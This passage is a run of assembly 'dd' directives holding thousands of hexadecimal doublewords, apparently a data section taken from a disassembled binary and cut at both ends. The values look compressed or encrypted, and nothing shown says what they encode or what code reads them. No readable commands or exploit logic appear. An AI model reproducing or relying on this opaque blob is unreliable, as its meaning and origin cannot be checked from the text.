3DAC4CE4h, 516E1001h, 80C4EA4Fh, 30BC0034h, 49BA6461h dd 3C50F4C6h, 8AB0A954h, 0AA82560h, 48D6B53h, 0CD0FEDF8h dd 1F8B83Ah, 0A56E7E34h, 2DD433F4h, 2147009Ch, 369794FDh dd 0BB382B4Eh, 42638C57h, 7D32D65Ah, 1F4FFC4Dh, 5F020456h dd 18D38030h, 2C3564F7h, 3D2D9D24h, 2254EC00h, 745D5557h dd 2BA40015h, 584B56C2h, 1D002920h, 0D2C4970Dh, 379C1CF6h dd 70A03DE5h, 9963FF2Dh, 0C66F0F00h, 20A921B0h, 70030067h dd 0A7238C77h, 8504AB6h, 0B90EE4A8h, 0C04D522Ah, 2F9FC6AAh dd 183F62D8h, 4C00291Eh, 832D1CA6h, 616AC1A8h, 0A01B8F80h dd 15418D98h, 0BC349CDDh, 72EE5328h, 9FD3FECh, 0B409B234h dd 0F17E73F0h, 446DA75Ch, 850036B8h, 78CB321Ch, 5A739Bh dd 0A14C5DE8h, 7EAF8066h, 30A50B19h, 78893341h, 64100FF6h dd 830ED461h, 0C320BA5Bh, 3028C22Fh, 2212608h, 0F4EF83DCh dd 7200CDDDh, 4BC7286Bh, 0ECD8BA2Ch, 286663BCh, 42C90441h dd 0F8E08164h, 133F57CDh, 1844C3D8h, 296A995Eh, 0F448EA0Dh dd 54180750h, 80CEC3Dh, 2821C012h, 0C4C9F4F2h, 44DB8900h dd 0BC1D093Eh, 217930AFh, 0B29F88D8h, 0F8BA0C40h, 1880E919h dd 9887F81Bh, 10C01FDDh, 799CB7BCh, 738617A2h, 0A2003ECh dd 1FD83541h, 0BB90031Ch, 0F678F505h, 63C152C8h, 2AE920h dd 5482F807h, 2F00757Ch, 0AE0AAFF3h, 0FAE83E46h, 3DD20024h dd 56C1D335h, 80055D8h, 43D01FAAh, 1D4239C2h, 8FFFC88Ch dd 0AEAB1D84h, 8D484500h, 1B00165Ch, 24B5116Bh, 0E7F044h dd 0A1FC7A45h, 0E6E223EEh, 0BDF78301h, 0A42A7969h, 1C4FFE4h dd 886E84A5h, 0FCBB111Fh, 0C50B8FCBh, 8664CD58h, 8511E055h dd 7BBD8604h, 48701095h, 8A1058h, 5F2598AEh, 0A12466h dd 946E9DA6h, 0BF71331h, 6453E00h, 0CD967CB3h, 1002012Ch dd 0C8CB9F58h, 7DAC20DCh, 5EF63700h, 79A6E2BEh, 18EC005Ch dd 23C0FC16h, 27055B96h, 9C1E40Dh, 8A04EE80h, 5DB11FEDh dd 4BF3C097h, 0BB6F61BDh, 5F3E1407h, 1270A6D8h, 891BDCh dd 0FD6853C6h, 4DA38CFEh, 0FF0C1900h, 0DF2B14D7h, 0EF1D0078h dd 539E1C06h, 40172083h, 3C184731h, 1DEBF846h, 0C0654E3Bh dd 0D55988D6h, 5403DAB6h, 0D94FB926h, 8F12A873h, 995A0080h dd 21D3010Bh, 0D4077785h, 26F5052Dh, 0B4725930h, 541A00DBh dd 4FF73B13h, 0AA001727h, 0C72696D2h, 0B9FBADh, 0D9A98F2Ch dd 4EEE54AFh, 0B6CE3000h, 31572D90h, 3B71F1Dh, 710D4EDFh dd 6E1EF394h, 458C5CBFh, 5967ECh, 3327DAD4h, 2005A01h dd 31A09A18h, 7EB7A3h, 0C9F3FEDDh, 0AFC60C8Fh, 0DF863400h dd 0B921F929h, 0E22B003Dh, 6CBEA033h, 51C032A4h, 5473B3C5h dd 50DB003Ah, 0B7BA1C2Eh, 2F0084C9h, 0CF606DFAh, 1780FA6h dd 54D0F7C6h, 0C0399AC3h, 9D1CD163h, 0A80B0B7h, 6326A2Ah dd 0CD3503DBh, 13F24E6Eh, 440DE92h, 0A11F042Ch, 0B9FC5973h dd 0C1178053h, 0E2915D60h, 83B40005h, 401C5AE1h, 76002469h dd 0EEECA23Eh, 419409h, 0A7FC2C6Bh, 3672BCF1h, 69B1701Ch dd 6F9148C0h, 0C0A9E6h, 7183B8AFh, 6073937Ah, 90D69800h dd 6F41F7BBh, 30AE3C67h, 7B007048h, 668B7AB7h, 5300B5B0h dd 841ED377h, 41BB76h, 13220CB1h, 6C93F2A2h, 7B710F16h dd 0C934A700h, 17D4801h, 443B4287h, 24CD0AFFh, 8A7D298Ch dd 0EA084F00h, 0F266ACDBh, 95BA0771h, 7110A0E9h, 21D22E28h dd 0BC48FE94h, 8C028932h, 0C2BEE7A6h, 8336C04Ah, 3C1B0091h dd 0EBC1F0E4h, 890027F3h, 55710E62h, 5BFFC514h, 3D48F87Dh dd 873202A8h, 818F36EEh, 72DF3F94h, 914DE840h, 90678F0h dd 7ED5E0F4h, 0EDAEA602h, 0B3880843h, 0B20B856h, 62CB00B7h dd 704ABF4Fh, 2F136782h, 1040D166h, 0B7A6547Eh, 6E900EE8h dd 7FC06D28h, 0AE8826E3h, 0FCFFF428h, 1E25B65Ch, 6AC092CAh dd 7053FC2Bh, 60E41Fh, 222171ADh, 0BAFDBB9h, 570A1500h dd 5517790h, 6A9068h, 5826AC04h, 393A1436h, 0A683B301h dd 0D1166DD7h, 57BB2C0h, 4725CC99h, 5CF03010h, 850740E7h dd 0DDB0C275h, 22B73C10h, 9E92001Ch, 0C7F5397Fh, 7A00D90Eh dd 91871129h, 0A52061h, 0F3C2E3E2h, 5F44CF41h, 2E6D9801h dd 0EC6EBEFh, 2810E0FFh, 360D39BDh, 0B0C1A883h, 30F87494h dd 0CC01CF7Ah, 553E80A5h, 0ED70FADAh, 323A0376h, 4E7124A3h dd 0A08091EAh, 0E1E25356h, 0E3291A06h, 0BE46BDh, 0EAC08FA5h dd 6C13800Ah, 8C74837Ch, 0FBACB803h, 0D0896412h, 15179Eh dd 7AB503D0h, 0C7444EEDh, 8324D43Bh, 472F23D3h, 75EC909Fh dd 92D0067h, 2C55A416h, 5E0765EBh, 2B3EC176h, 7447AB70h dd 2420ECF2h, 1640C645h, 0D81C0095h, 6DCD7E59h, 0A2020AF2h dd 0D049CE7h, 0EB8481BDh, 15D0E886h, 96F4A14Dh, 48F2EFC8h dd 562824E1h, 0A0390099h, 70559343h, 270177ACh, 0C7D96C68h dd 4830C42Fh, 87311CAEh, 80C30196h, 20055B07h, 5D78BC77h dd 988E7100h, 81B3DFC5h, 8B400025h, 970ACC31h, 0D6000EDDh dd 139880F0h, 2DADCh, 28384166h, 0DAB7F2Ah, 7DA64600h dd 0F67318DDh, 0B80C1344h, 0E9751960h, 0B0A32043h, 71C52800h dd 0B407AD3Bh, 0BC34501Fh, 0A3723D21h, 5ACF5C83h, 0D3D0A9ABh dd 6B50B9C3h, 660064ACh, 0C1BDB426h, 0A38DC7h, 1BC92C5Eh dd 0FE91E17Ah, 0D1E5AB06h, 306CECh, 898A4312h, 15E326FDh dd 90F8AE00h, 0D9F21472h, 85B60B66h, 0F200BB06h, 297646AAh dd 7D00407Dh, 0FBFDA354h, 7EBA851h, 0C3DB3E83h, 0C21CA048h dd 4718F0D7h, 0E31884C7h, 7B11867h, 28A3110Ch, 0A6FDDD00h dd 546258F5h, 0F8382E1Fh, 0F9B70013h, 0B0DDEAE1h, 68126103h dd 986E1E2Ah, 6B6F342h, 853444EDh, 7902C06Dh, 3E50E0DAh dd 479C8074h, 245AAEh, 7E29ED4Ah, 792EA3E6h, 51AAD200h dd 65143DF5h, 3387AE2h, 0F1D53629h, 40F889C8h, 6E0725E4h dd 4FE230F2h, 0FEBE2DE0h, 0A7CF00B5h, 0A1C1EA11h, 370099F9h dd 1C4DF189h, 93B2BDh, 9EDE1A7Bh, 0E6D27E49h, 0A90E1F60h dd 0A8072Dh, 0A22609BFh, 23988C70h, 3447D40Eh, 60005652h dd 5C02385Ah, 49720E7Eh, 0A0207C61h, 0E8D45B44h, 0B3007B7Ch dd 0A4594F89h, 1701C4h dd 0A376109Dh, 7B53046h, 88CEF004h, 0D4D08EDAh, 3AE267h dd 0DC3B4F72h, 0B6203055h, 7D8FBB00h, 5D71951Ch, 0CEFB00F6h dd 0AED55BBDh, 35023C9Ah, 1A98FF4Dh, 7A48E02Dh, 52403B87h dd 2F725E81h, 75C1CE59h, 0DCBEF0C0h, 7CB21201h, 70187844h dd 6C3A188Fh, 2C360C3Eh, 0A3F06411h, 72DA0400h, 0A6D59EB9h dd 99583FF8h, 0C65815Ch, 0B12C1EFCh, 0D1C211FEh, 41E834DCh dd 5D1A0F00h, 0E7E1E451h, 0C238E298h, 0B63B5E58h, 96424C90h dd 8B571CA1h, 5DF3430h, 0A8002ED7h, 0C78ABDC1h, 2098070Ch dd 90F45662h, 7E10529Fh, 601E1500h, 0B8C4D4DBh, 0CEC601D9h dd 0E61ACB73h, 2359E834h, 2E26000h, 1D4D6576h, 0B7DB007Bh dd 16D7B492h, 6D003719h, 0DDBCEFC8h, 7DB0C5E4h, 3ED207B8h dd 0C2F08021h, 0ECC03A50h, 0A9C0CFBDh, 0D54D3363h, 47D30019h dd 8CFB0712h, 340F9D21h, 0CD55A020h, 318248E3h, 79379AE0h dd 1D3888E8h, 0FB0B2802h, 0A3B1F7CFh, 8806C884h, 1C2ABEA6h dd 40DC269Ch, 2FAF7308h, 2200A35Eh, 6E359323h, 4DE36h dd 92C05B63h, 0BBA8DD38h, 0DF602503h, 7783364h, 90589B18h dd 0E5616CF8h, 0A81B3000h, 947C1C3Ah, 7009DE42h, 1B298521h dd 0FDAA3613h, 0EA0CC600h, 0CC6769Ch, 0AE394597h, 60016D0h dd 1A22ACC4h, 488631h, 53701C60h, 0DA544E0Bh, 0D596EC03h dd 881ECC80h, 0E1CBD6h, 4377243Eh, 0F64958DCh, 4889AE14h dd 36D5B004h, 9818F854h, 188860D6h, 0CE8E610Eh, 65194DFAh dd 0A6092DFAh, 19EE3980h, 0ED3A6A8Eh, 0CBC9D300h, 0B12BC00Bh dd 170C0E8h, 71F7CE4Eh, 0FE688600h, 0C6643DAEh, 88D40624h dd 488D1A2Fh, 780A3500h, 0D04FCF97h, 0C54D0F57h, 9B07FE6Ah dd 0C234B025h, 0CE1FFC87h, 0A845494Fh, 203D1E19h, 5518FEF9h dd 6C1D8929h, 0D18E6401h, 0E2186536h, 1CF321C0h, 29BFEC8Eh dd 69046D3h, 0C8A5622Fh, 18169481h, 718E5C63h, 15283D29h dd 0F00094A5h, 8CDE8E1Bh, 447A3845h, 23B88152h, 8E620717h dd 6235D497h, 1AF121A7h, 0E328C08Eh, 0A2358313h, 0BF1C081Fh dd 3A827D40h, 0ED72C9Eh, 0CD492EB7h, 8FF08BAAh, 0EBE025A9h dd 0B39B1CCEh, 9AC5051Dh, 0C405D12h, 733A1E4Ch, 4A7600A1h dd 2B36503Eh, 6903715Eh, 48BE33FEh, 305A309h, 27DFCE31h dd 5AC0E9AFh, 2D28423Ch, 0F20594F7h, 4DB121F6h, 98289C40h dd 0E4D46274h, 0CB8D1913h, 806008BAh, 74D00721h, 280D11C3h dd 30B4C02Fh, 0BF785A22h, 29C04E05h, 547F3151h, 33061882h dd 34198941h, 7D029318h, 0FAD4E430h, 6C3C4809h, 4154589Ch dd 357A925Ch, 6A9CC000h, 83C757D6h, 0C3CA00E4h, 0BCFD95A7h dd 3B033035h, 0CFD48436h, 0B2BBE8D8h, 0AE622A81h, 147907ACh dd 0E01C1FBCh, 0EA7F4C13h, 1E314000h, 0FB7D64Ah, 0EF80A5F3h dd 654A8031h, 0CADA9B9h, 5BD62BDEh, 0B8B866E1h, 0C5678700h dd 58C80730h, 5E143AF7h, 8C93A80h, 9A3CFFB1h, 0E8FB7024h dd 9B37A280h, 985609Ch, 3CC6D8BFh, 1568242Ah, 0E600D404h dd 0D5B87C38h, 0C11688F6h, 10091E11h, 180C00C4h, 7C90571Bh dd 0B09300FAh, 0C05C1F16h, 8101E775h, 0CF215F84h, 0A9804ED7h dd 8FA9C437h, 0AB024482h, 0E3CEF5EDh, 0D96C48BBh, 0E516009Bh dd 654E09E8h, 59F0EA83h, 2FF9D009h, 9CDC08A4h, 0D4831D11h dd 0C29A1E74h, 0B105F31h, 0A90074CCh, 9EBD435Dh, 2ABCF10h dd 4283A0C0h, 0C8805E46h, 4FDEC7D1h, 949EC00h, 4781E090h dd 7B060751h, 7CAE8992h, 0CC005651h, 83EA2636h, 0A02D3A32h dd 5379D3F8h, 1B29F041h, 18597154h, 402E0B6h, 0CFD853C1h dd 5E90C0E3h, 0C2002D5Dh, 7DD4519Fh, 1ACB37Ch, 676640F2h dd 24127B54h, 94A6CF6Ch, 32888400h, 0B7DA01B1h, 0F6F0005h dd 0F5F6C587h, 0C771CE9Eh, 0C860C36Ch, 281063F2h, 0AF82D357h dd 6D771040h, 0E6CF6F0Dh, 0CC31301Bh, 20DF3093h, 6BE9DD80h dd 22554300h, 19DC1B79h, 500A709Dh, 4586D1h, 557E1DB4h dd 0CFF5F2A9h, 0FE6BD913h, 0BF38D002h, 313E00EEh, 9CA15816h dd 90C82485h, 0B823C70Bh, 0F3481BE8h, 0D558B42h, 0DBF6A28h dd 3C46DC7Eh, 0ED580A28h, 2FD44F04h, 0C0C1A472h, 20402C52h dd 0C1B18551h, 93FA3BB9h, 3C30A69Fh, 69788104h, 14855802h dd 8A7F80A1h, 0D3998212h, 631C6BC7h, 9262E064h, 6819C14Bh dd 0D55C4439h, 0B34060C5h, 4CF1220h, 5573209h, 2B84D1F7h dd 4980414h, 7FD40D1Ah, 0E58070C6h, 0E880508Ch, 95753B38h dd 78E5344h, 0C07949Dh, 4A2BF0C8h, 4D60D7C6h, 0F4DBB1E1h dd 5D401C5h, 746B33BCh, 3BC98402h, 6080FD42h, 1CBEC75Dh dd 401F54E9h, 4ADF382h, 0CA133A35h, 88026E1Bh, 449E81E6h dd 0C36A00F0h, 826129D2h, 6E601A30h, 0CFBC3BA8h, 7D73C7Fh dd 0E2EC74D8h, 80078843h, 898FDA14h, 80820804h, 5CCABFB8h dd 74195F0Ch, 1FF7C10Ah, 0C052C446h, 0B8E0CEACh, 0BE394185h dd 0B0F9013Dh, 0D8FB3E56h, 0A91A6420h, 0A092D1ACh, 342007B2h dd 0C02CE04Fh, 0C3016B1Fh, 4CCDDB46h, 5C4A559Ah, 3389AAC4h dd 0FFC1D89Ah, 37B60054h, 693D5281h, 2E00F2E9h, 55576080h dd 0C003738Dh, 8A1C7C1h, 0CF00EA14h, 0C0FB2661h, 0F65F1BEDh dd 535A1760h, 72BC20D6h, 69FAC5CDh, 81159400h, 44937DA1h dd 7875D4h, 9B05066Fh, 9D70C176h, 0BC0C555Ch, 5B008CA9h dd 0B55DEABDh, 1950E61h, 81B9B145h, 208D5230h, 0C700BF9Ch dd 0F79EF67Ah, 268A854Eh, 974056Ah, 1092D457h, 437EC885h dd 0B3018BB8h, 0A8F31DC8h, 8A061009h, 0AADC1BEEh, 98F0038h dd 18C10F9Bh, 98BFC056h, 9DF4060h, 348A7A6Ah, 88B7C481h dd 86CBE351h, 0BC80B859h, 64E7279h, 8A428192h, 0B758059h dd 1A9C9E50h, 8E5F058Ch, 381D36D4h, 173BECFCh, 40BF878Eh dd 408EB4F4h, 0D41CDA5Ah, 16E724B7h, 0C0123BECh, 0CB0490D7h dd 0D87531E0h, 50789F00h, 6D56652Fh, 484AEAD6h, 7700A45Eh dd 35C0510h, 850F4966h, 0A7C7D49Eh, 6480B131h, 547119AFh dd 996A4FAh, 8420CCE7h, 97CDC26h, 0B6C81054h, 65CC1F1Fh dd 4D9935DEh, 0EC181C40h, 8425CC08h, 21D8C6EBh, 0CC24BD00h dd 7BC28DCDh, 0D1B501FDh, 0D79EBCCAh, 6F502452h, 4679C1Eh dd 13C01100h, 7E9A5F48h, 61240429h, 80F47189h, 0A66022A0h dd 0D60F8498h, 0B30B487Fh, 0B02E1417h, 0C089A710h, 556CF761h dd 96880909h, 508E3951h, 0DA15FFE1h, 8269BCCFh, 492F163Dh dd 876851C7h, 0F4E53A23h, 9F630Ch, 3A1C4621h, 47179008h dd 2021B60Ch, 28A509Ah, 0F26C18FDh, 6AC11668h, 0BD199307h dd 5DF48C02h, 8A0042AFh, 85040068h, 60903832h, 0B263E075h dd 0F87F17E0h, 0E7080855h, 687456C0h, 227246D4h, 0CE09005Ch dd 0A62E4174h, 0CB1614EAh, 180231D3h, 7529F7h, 80F60A3Bh dd 524FD70Bh, 35701088h, 0AA2B20D2h, 8E8FD609h, 0CEC0AA9h dd 0E3DE5106h, 0E890029h, 0E4EC450Ch, 0CD00E525h, 42654B33h dd 4FA2B6h, 827C9E31h, 8052637Dh, 5039B260h, 13F9306h dd 99E9619Dh, 7446B62Ah, 8F78D47Ch, 0EB708B60h, 3187D066h dd 0D51085CAh, 0D8BC508Ah, 2B069B84h, 0B9E3B3B7h, 0C1580059h dd 3EB47C03h, 0FA12A9B5h, 9B008E26h, 36061B19h, 0E3449255h dd 0BF890980h, 60A131DFh, 5F04AB77h, 0BA1302D4h, 8A3268C1h dd 794C0A13h, 0A17B0B70h, 10FD804Dh, 0E09C75h, 5915C350h dd 37648D2Eh, 72D33Ah dd 0B788732Ch, 92E8B35Fh, 26046C8h, 8421CCF0h, 0C1001C4Bh dd 992DCCE8h, 924FDAAEh, 80E7622Ch, 0C4E0CDCBh, 0C6068706h dd 2E5CABC7h, 2FF64E39h, 88E110B0h, 84B0C0DDh, 0CBF3655h dd 4821654Eh, 10295EFAh, 17124B10h, 88307C52h, 80A687DAh dd 5E499082h, 5B186218h, 36D60308h, 1804C894h, 23409A00h dd 0FAC44C79h, 0A76F0017h, 8224BF5Dh, 49485E42h, 0B0622E08h dd 688B3D04h, 7D543A00h, 0A0BACA8Ah, 13F48806h, 2E601C1Fh dd 42987286h, 832093C7h, 0BC8E2Ah, 9D87B7DCh, 0C00CE7D1h dd 20AD3F30h, 3FA002F6h, 20D3CA18h, 67C42F84h, 0C47CC589h dd 3113635Ch, 8579F358h, 0D048916Fh, 0CEE82898h, 249AF42Ah dd 4B21A160h, 153A17h, 0ABD86ECEh, 595F6508h, 0EDD35801h dd 0A31BDA35h, 939B848h, 0D78673D2h, 504EA4A2h, 0DF0E48Ah dd 2C280E57h, 8C56BC24h, 93639707h, 4089DA36h, 547F8AC8h dd 67EEFCF6h, 0DCBFF831h, 7FE289B9h, 0E4A7722Ah, 194654A6h dd 418E487Fh, 7040052Eh, 8E0060F7h, 0A1649E06h, 12C6D1DEh dd 4903712h, 9DD5BB4h, 973080F2h, 0A287CDA0h, 0DFB048AEh dd 0EB69C0B7h, 2EAEE0FCh, 952950Ah, 4C4FB032h, 0D0B15Dh dd 7E0C362Ah, 91962B14h, 17FEF700h, 8992E15Eh, 0EF212886h dd 61F909E0h, 0E84060EEh, 8200E288h, 67249630h, 3C194Ah dd 2973FC45h, 699274D8h, 2E815707h, 0E6005D66h, 8B2187h dd 0FD85D353h, 0EB58ECA3h, 3944D700h, 113E083Ch, 3A7FBAh dd 0AD03AB54h, 0AF8CE368h, 9D8838h, 1838BCDBh, 394EA40h dd 7A7BB9A1h, 0ECA05239h, 6000F3A0h, 275CCB2Bh, 63D49D50h dd 7AF00837h, 29112000h, 51BC212Bh, 629F0085h, 96B6BDE5h dd 4A006C2Ch, 183528D1h, 0CCA2E9h, 75F616A1h, 6C7C3481h dd 7B53BD0Fh, 13A68112h, 1080A0EBh, 6492C98Ch, 0B70CE535h dd 8DD6D77h, 6F21C082h, 0CDFB92D2h, 0B2D18300h, 773CE0F9h dd 369883ECh, 0F20E4429h, 0D13DFFh, 0FAB93E66h, 33C400FEh dd 0F56030BCh, 51C0AF1Ah, 32589DECh, 0D64003EDh, 0F26020C3h dd 53BA2003h, 0A5942Ah, 0C0AD8029h, 0D7A01C44h, 0D823AF0Eh dd 218F8CD6h, 0C0A43BE3h, 0FE544307h, 0E7E8ACBDh, 0DB650F09h dd 4B3C00CBh, 0E6711BE6h, 9070C0BBh, 526929ECh, 0F7108460h dd 433E2Ch, 0F809512Eh, 5864AEE5h, 0FD34B800h, 9E1B0B07h dd 1D7401C3h, 0B96583D8h, 0FB32F48Fh, 8DD25600h, 0F43C239Ah dd 0A5D500C5h, 0D02D2C72h, 440099AFh, 9F9D4A32h, 3E6F4F7h dd 710F5C23h, 1DB9D0C1h, 38BE24h, 13748642h, 6954D7Bh dd 47FEA2E5h, 1407203Dh, 7A96C04h, 8ACA6B10h, 0BD121316h dd 0CB36008Ch, 5C096E1Fh, 94E05100h, 87700F2Eh, 0BC7C03ADh dd 0FB3A975Ah, 4440D0E2h, 0A4F83EC3h, 9AD20901h, 7BEC9DD1h dd 38899E0h, 0EE759712h, 0E8E3F573h, 7AFDBDE0h, 9B06D003h dd 1FC328B8h, 0F301A541h, 0E2B04218h, 54039CC8h, 449E9DFCh dd 95E800F5h, 0DBF40368h, 0F3207FEDh, 7E163A3Bh, 877B369Fh dd 50B1F55Ch, 6BEE6A35h, 0A4E08D2Ah, 0C882AA00h, 0F18FB524h dd 19C506C4h, 21E86537h, 83E66100h, 0E7216394h, 0CA4B03F5h dd 0A1A233DEh, 86A68098h, 9026041Dh, 107934BAh, 0A1C3042Eh dd 1000735Ch, 0BD32837h, 1A0B6BAh, 26C7EE96h, 30545620h dd 0D200DD23h, 0AC10B0F9h, 1C80DC6h, 49940E4Fh, 70189AD9h dd 27006537h, 0C9BA6CE7h, 735DE5EDh, 0F00D0731h, 13139C60h dd 1988C0F5h, 6532CE72h, 0C0CF025Ch, 2BE53Fh, 0C994AFA8h dd 2ADC9B63h, 0B540A03h, 0F875A9C3h, 2C03Ch, 0D7F20C8h dd 0D4F1F78Dh, 0A1079A00h, 0F6261FB0h, 0AE70074Ch, 0F044E443h dd 5AA304Bh, 1400D2FEh, 9A9E51C1h, 490711h, 0F9EBE83Dh dd 0F5D62360h, 77C2BE00h, 5F0E5194h, 0FE641FA2h, 21420080h dd 0BFB1F2D9h, 0D73F720Fh, 0DAC6A04Eh, 78C4C302h, 960F0EC8h dd 1460D54Dh, 69C759B7h, 69450E30h, 0DEFACh, 0E2315639h dd 6377C119h, 2C7F91FEh, 48B2C400h, 7CCF1738h, 0CB260029h dd 25411C27h, 0CD1D52FCh, 3D004208h, 0ABE581F9h, 0C86D00DEh dd 248E8449h, 7198566Ah, 94349500h, 46EED7E1h, 0FE7B3Fh dd 0FA12BE9Ch, 3B4BC1BAh, 0CA7C5C00h, 2D108B3Ch, 90700F2h dd 48D35E2Ch, 1600DB3Dh, 9CCBDEDDh, 0E80A7F5h, 49F8C09Eh dd 0CFCA00DEh, 406E9381h, 389CA800h, 590E982Bh, 651304DEh dd 90C92CACh, 48DC0C2Ch, 0C825ED06h, 0F85773h, 36BDF577h dd 0B2B30ED2h, 8478A100h, 4FBC9125h, 0EAB51873h, 7E906982h dd 19613104h, 5481038Ah, 23C43B6Dh, 7DA70025h, 1F94CEB4h dd 800D9D3h, 0C4282B12h, 0C8E697h, 0FF0D6143h, 7C57AEBEh dd 676B1800h, 0F8B4ECB5h, 3D739FBh, 0C05AEF1Fh, 0FA886872h dd 0DF3AA58Ah, 7E1F81D1h, 0CD541CF1h, 7CF79EC4h, 467D385Ah dd 70C86037h, 6BEA93C8h, 980074F0h, 0B99469F5h, 74B01FCh dd 0E27D4589h, 7A0790F0h, 8E0CEA0Dh, 41BD7E81h, 0B1CF0098h dd 780B06A1h, 24E085DAh, 0E3D56300h, 9A2335E9h, 5F5100C2h dd 3BDE7EABh, 0D207E2CDh, 1E04226Ah, 0AFEB0AA0h, 760C016Eh dd 851B32F4h, 54DFCBAh, 55BD5800h, 2BF7BBEEh, 0A0037A06h dd 3FC698A0h, 6CC9C3F1h, 467FB400h, 0F882FF4Ah, 959B0501h dd 6584F222h, 0ADCE2080h, 0D1EFE8C4h, 0A9E43C00h, 332FE6BCh dd 656407EAh, 23B6EEB3h, 24B3B0ECh, 0F4A71F8Ah, 1E15203Bh dd 6F00FF70h, 0D54B2C71h, 13E0AA4Ah, 0F3E4Fh, 94A0E1FAh dd 714C5255h, 0AAB2001Eh, 1DA17849h, 9C7D04E8h, 90CB97A5h dd 1CDC0128h, 0D58EE962h, 14AC481Dh, 186D70AEh, 689ABCCFh dd 2F1DA93Eh, 5A80673Fh, 1FD4EEE3h, 950519EDh, 0C03C2847h dd 0BB07966Eh, 8C983057h, 0A806B00h, 0D3440E77h, 0C8C07402h dd 0AC573667h, 24ED8E4Ch, 0CE00C031h, 9F45EC6Dh, 0D37F5Ah dd 0A3F22B61h, 0D463ACDDh, 0B250C203h, 0A8A992h, 6A3D4FB9h dd 0E096CCF4h, 0AC9B2600h, 148A8D91h, 1FE67Dh, 3FAAA03Ah dd 0A3C43CD5h, 3E16617Ah, 0EF0B5F68h, 914D00CEh, 1FC24027h dd 1ED050ADh, 4D0C0088h, 3DA8E0C6h, 0C000537Ah, 4A65F97Bh dd 5CD64278h, 0E4007337h, 8D7FA8F7h, 0A900B99Eh, 8140D141h dd 1200CB1h, 458687DEh, 0FDBBD8DAh, 0FDEFF8D7h, 807C1000h dd 54A73821h, 4D28C71Bh, 0BC822DCh, 98144E40h, 0B7CF3500h dd 77585ABAh, 0A84300C6h, 4F82D0D6h, 0ED008A67h, 0C418C792h dd 3F4E62FEh, 81011BC3h, 3366783Bh, 0F557D493h, 25C03200h dd 0AD45963Ah, 0D7AA2C87h, 8C89021Eh, 54C8D876h, 297814C8h dd 416A3204h, 14C0E9B0h, 0FF99E1h, 5C1DC0F3h, 8C3BBC5Eh dd 0F7008579h, 4542BA95h, 4A3A48h, 0C38EE879h, 49C0821Fh dd 978BE400h, 3EB38788h, 0F56A0410h, 0C00B986Dh, 28A2AF84h dd 0C32C3301h, 0C720074Dh, 321FE4h, 97635491h, 2E23BEA8h dd 0AC29FC02h, 0C91B6292h, 9DC8B5D8h, 0DFA20E20h, 0A1C06A87h dd 0FB7911B9h, 1400F57Fh, 0B62F7D2Ah, 0C5CCA4h, 0B8965615h dd 49084B02h, 0ACB9BD03h, 0B067F2E9h, 0FA95C16h, 0D43C3461h dd 2911DCA0h, 0DBEC307Ch, 1F9540C0h, 2D7E5h, 63BAFB67h dd 0CF6984D1h, 44D6BB24h, 8F399983h, 0A84D8810h, 0D4910E5Ch dd 638038E9h, 0F24E7D6Eh, 0A5F47050h, 4811D200h, 0FA8E6F41h dd 0AB3728FCh, 7140087h, 64FE06C8h, 7700DE5Dh, 0EF9E5E46h dd 0CF0CBh, 28825B34h dd 909D74E2h, 5EB6BC00h, 0DE9AC295h, 5DFE0B1Ah, 0E500E761h dd 0B8BE15C3h, 0D4C47C12h, 0F89C2003h, 9B93C82Eh, 9A360043h dd 725A4EDh, 0BA00584Eh, 0DA1AE710h, 0E476B12h, 0C10D9370h dd 74C65B00h, 0A80F79A5h, 80CE42E9h, 4105FF11h, 0E238006Ah dd 340FF076h, 5BF073B0h, 30CE2103h, 0D3CA19ECh, 18AC889Eh dd 0DEF302B8h, 64256BA5h, 770B39E0h, 0AC00800h, 49AE6AB6h dd 0BA7B004Dh, 340DCC3Dh, 0B4000999h, 0FF951D6Bh, 0E73162h dd 21E867D2h, 0E3CB7DC9h, 99008971h, 5AC1BFEDh, 5D585A0h dd 8B48E4A1h, 0ECD50E4Fh, 9AE40073h, 5AC237DCh, 0A4BD0500h dd 99C68831h, 578F00F0h, 730F8A6Ah, 9F02EDADh, 0BDCBA13h dd 0EBE4E875h, 401C0083h, 87031F34h, 2A2C4560h, 0C300E0A8h dd 61059748h, 84C8A068h, 0FED60009h, 63FB2722h, 1B7BC247h dd 7DE26607h, 539C529h, 0BC80D283h, 0CE86B1Fh, 51B1D90h dd 0E700CB10h, 5D837AF5h, 47826Ch, 0AFD3C9D6h, 0DBCEA984h dd 26D18C00h, 0BD717890h, 0C11600D7h, 0F72EE352h, 2C00A61Dh dd 0FC0981E6h, 70CDE036h, 3C650353h, 1F5E4D17h, 0D802718Bh dd 381DC5Dh, 0A89A8009h, 0C0C0267Bh, 0E2EBF8F0h, 0FCE4365Eh dd 95D4D801h, 0A273A501h, 4DA37824h, 0FF011C82h, 87C9D508h dd 3982039h, 3F077CECh, 0A5C0FCB3h, 33DAC200h, 0F227121h dd 0A67A6B89h, 67CC5C40h, 0DB009ED5h, 0A5886375h, 3E6B2766h dd 0C500FF7Ch, 9C15652Bh, 85004C22h, 0ACCE1D14h, 0E01935EBh dd 1B7DF5h, 227EA24h, 0EE5D4DCh, 4790F80Fh, 6C9800EBh dd 0C195E18h, 847E6305h, 2E0E66B1h, 0E101CCB5h, 4909A1DCh dd 216F0898h, 0B50015BCh, 2C89F47h, 14DDAh, 5D8045D9h dd 0A46F54EBh, 19947150h, 77881852h, 9BC2AD00h, 74E91B1Fh dd 0E7C33A27h, 0E3218B30h, 7F48C2B5h, 3C1B0013h, 1EC66AAFh dd 4D4707FCh, 81B4EE13h, 8966E0F3h, 0C22E660h, 8C946808h dd 28C2AE0Dh, 3411601Fh, 0E6008754h, 7500C2B6h, 0F3975FC5h dd 4BA3E164h, 50485971h, 1DAB1893h, 231F5DC2h, 0E90F5111h dd 0A180C2B3h, 27AF5AD8h, 0EF8C0300h, 203545DCh, 8278185Eh dd 0A0116167h, 0AF4E59DCh, 0CEAA8024h, 78FC3359h, 0AD5E00A6h dd 467CBD55h, 94E47A80h, 80079E25h, 699AE498h, 8C5C1CE5h dd 3C854C82h, 7860EB08h, 69624620h, 0DE020704h, 30C67D8Fh dd 2360E1BEh, 0DC268201h, 0E4F9D479h, 8C30FC48h, 8FB52D04h dd 6E622101h, 0B594C920h, 84F30C63h, 7A405C1Fh, 0EC61D418h dd 3C4FC50h, 81BC730Dh, 398847F2h, 0A000381Eh, 0C9DDA575h dd 17049Fh, 692E53ACh, 0DADED584h, 51EBB807h, 10F2C389h dd 8895E0AEh, 78F10072h, 56FEEC2Bh, 0A07427C8h, 5A2401E6h dd 4500BEAEh, 531262Dh, 0E77607FEh, 0F0B344A6h, 6FA54F4Eh dd 